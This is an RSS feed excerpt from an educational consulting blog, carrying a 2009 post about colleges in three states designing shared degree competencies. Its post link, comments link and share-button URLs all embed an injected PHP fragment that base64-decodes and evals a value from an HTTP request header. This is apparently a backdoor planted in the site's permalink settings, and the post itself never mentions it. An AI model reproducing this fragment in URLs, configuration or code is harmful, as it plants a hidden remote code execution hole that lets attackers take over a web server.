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	<title>Murphy Educational Consulting (MEC) &#187; higher education</title>
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	<description>Evaluation of formal, informal and non-formal learning at the intersection of families, youth and communities</description>
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		<title>National learning standards for colleges?</title>
		<link>http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 17:30:14 +0000</pubDate>
		<dc:creator>Nora Murphy</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[higher education]]></category>
		<category><![CDATA[higher ed]]></category>
		<category><![CDATA[national]]></category>
		<category><![CDATA[standards]]></category>

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		<description><![CDATA[TweetShareNot quite national, but according to an article in the New York Times on April 8th, colleges in 3 states are sharing the work of designing degree competencies for education, history and chemistry (Indiana), history and physics (Utah) and graphic design and chemistry (Minnesota).  This is definitely an issue to watch!  I have seen cases [...]]]></description>
			<content:encoded><![CDATA[<div class="socialize-in-content" style="float:left;"><div class="socialize-in-button-left"><a href="http://twitter.com/share" class="twitter-share-button" data-count="vertical" data-via="socializeWP" data-url="http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div><div class="socialize-in-button-left"><a name="fb_share" type="box_count" share_url="http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" href="http://www.facebook.com/sharer.php">Share</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script></div></div><p>Not quite national, but according to an article in the New York Times on April 8th, colleges in 3 states are sharing the work of designing degree competencies for education, history and chemistry (Indiana), history and physics (Utah) and graphic design and chemistry (Minnesota).  This is definitely an issue to watch!  I have seen cases of standards or competencies raising the bar for expectations, as in some principal leadership development programs, and lowering the bar, as in some state assessment programs.  I&#8217;ll be moving to Minnesota soon to pursue my doctorate at the University of Minnesota&#8217;s Department of Curriculum and Instruction and look forward to following this topic closely.</p>
<p>Any thoughts?  Or inside information?</p>
<p><a href="http://www.nytimes.com/2009/04/09/education/09educ.html?ref=education" target="_blank">Click here</a> to read the article.</p>
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